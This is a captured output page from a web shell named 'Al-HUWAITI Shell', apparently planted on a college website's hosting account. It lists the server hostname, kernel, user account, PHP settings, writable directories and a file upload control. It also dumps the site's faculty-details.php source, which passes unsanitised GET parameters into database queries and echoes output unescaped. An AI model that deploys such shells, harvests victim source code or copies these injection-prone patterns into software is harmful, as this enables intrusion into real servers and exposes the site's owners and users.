Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux server.xvl.jdw.mybluehostin.me 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : gcmknlac ( 1031)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/gcmknlac/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gcmknlac/public_html/faculty-details.php
<?php
include("config.php");

$subject = $_GET['subject'];
$type = ucwords($_GET['type']);
$staff_type = ($type == 'Teaching') ? 'Teaching Staff' : 'Non Teaching Staff';

$subject_info = $db->selectRow('subjects', '*', $subject);
$department_info = $db->selectRow('departments', '*', $subject_info->department);
$staffs = $db->select('faculty', '*', array('subject'=>$subject, 'staff_type'=>$staff_type));

?>
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Government College For Men, Kurnool</title>
<!--/tags -->
<meta name="viewport" content="width=device-width, initial-scale=1">

<meta name="keywords" content="" />
<script type="application/x-javascript">
		addEventListener("load", function () {
			setTimeout(hideURLbar, 0);
		}, false);

		function hideURLbar() {
			window.scrollTo(0, 1);
		}
	</script>
<!--//tags -->
<link rel="stylesheet" href="css/font-awesome.css">
<link rel="stylesheet" href="css/sky-mega-menu.css">
<link rel="stylesheet" href="css/demo.css">
<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" media="all" />
<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
<link href="css/font-awesome.css" rel="stylesheet">
<link href="css/style2.css" rel="stylesheet">
<!-- //for bootstrap working -->
<link href="//fonts.googleapis.com/css?family=Work+Sans:200,300,400,500,600,700" rel="stylesheet">
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<style>
table, table td, table th { border:1px solid #ddd; padding:6px;}
table>tbody>tr:nth-of-type(odd) {
	background-color: #f9f9f9
}

table tr:nth-of-type(1) {
	background-color: #eee;
}

table td h5,table th h5 {
  color:#990000;
  font-weight:bold;
  font-size: 16px;
  padding: 10px;
}
</style>
</head>
<body style="background-color: #ffeee6">
<?php include("includes/header.php"); ?>
<div class="row">
  <div class="col-xl-3"  >
    <?php include("includes/dept-menu.php"); ?>
  </div>
  <!--/.navbar-->
  <br>
  <br>
  <style type="text/css">
	ul{
		margin-left: 25px;
	}
	ul li{
		padding: 10px;
	}
</style>
  <div class="col-xl-9" style="font-size: 16px">
    <!-- banner -->
    <br>
    <!--Card system-->
    <div class="row">
      <div class="col-md-12">
        <div class="card border-left-success shadow h-100 py-2">
          <div class="card-body">
            <div class="row no-gutters align-items-center">
              <div class="col mr-2">
                <h4 style="text-transform: uppercase;padding: 5px;background-color: #800000;color: #ffffff;border-radius: 10px; ">  <span class="design1">DEPARTMENT OF <?php echo $subject_info->subject; ?> FACULTY</span> </h4>
                <hr id="line">
              </div>
            </div>
            <!-- Department Profile -->
            <img src="<?php echo $admin_url.$subject_info->banner; ?>">
            <hr id="line">
            <div class="row no-gutters align-items-center">
             
		  
			  
<style>
.btn {
  border: none;
  color: white;
  padding: 4px 4px;
  font-size: 16px;
  cursor: pointer;
}

.success {background-color: #01315A;} /* Green */
.success:hover {background-color: #01447e;}

</style>			  
			  
			  
 
			  
			  
			 </p>
              <hr>
			  
			<table style="width:100%" cellspacing="0" cellpadding="5" border="1">
				<thead>
				  <tr>
					<td align="center" valign="middle" class="style2">Photo</td>
					<td align="center" valign="middle"><span class="style2">Name</span></td>
					<td align="center" valign="middle"><span class="style2">Staff ID</span></td>
					<td align="center" valign="middle"><span class="style2">Designation</span></td>
					<td align="center" valign="middle"><span class="style2">Qualification</span></td>
					<td align="center" valign="middle"><span class="style2">Experince</span></td>
					<td align="center" valign="middle"><span class="style2">Bio Data</span></td>
				  </tr>
				</thead>
				<tbody>
				  <?php foreach($staffs as $staff){ ?>
				  <tr>
					<td align="center" valign="middle"><img src="admin/<?php echo $staff->photo; ?>" class="img-circle" width="100" height="100"></td>
					<td align="center" valign="middle"><?php echo $staff->name; ?></td>
					<td align="center" valign="middle"><?php echo $staff->staff_id; ?></td>
					<td align="center" valign="middle"><?php echo $staff->designation; ?></td>
					<td align="center" valign="middle"><?php echo $staff->qualification; ?></td>
					<td align="center" valign="middle"><?php echo $staff->experience; ?></td>
					<td align="center"><a href="admin/<?php echo $staff->biodata; ?>" target="_blank">VIEW</a></td>
				  </tr>
				<?php } ?>  
				</tbody>
		    </table>
			  
                
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
<?php include("includes/footer.php"); ?>
<!-- modal -->
<!-- //modal -->
<a href="#home" class="scroll" id="toTop" style="display: block;"> <span id="toTopHover" style="opacity: 1;"> </span></a>
<!-- js -->
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
<script type="text/javascript" src="js/bootstrap.js"></script>
<!-- stats -->
<script>
		$('.counter').countUp();
	</script>
<!-- //stats -->
<!-- owl carousel -->
<!-- //owl carousel -->
</body>
</html>

Al-HUWAITI Shell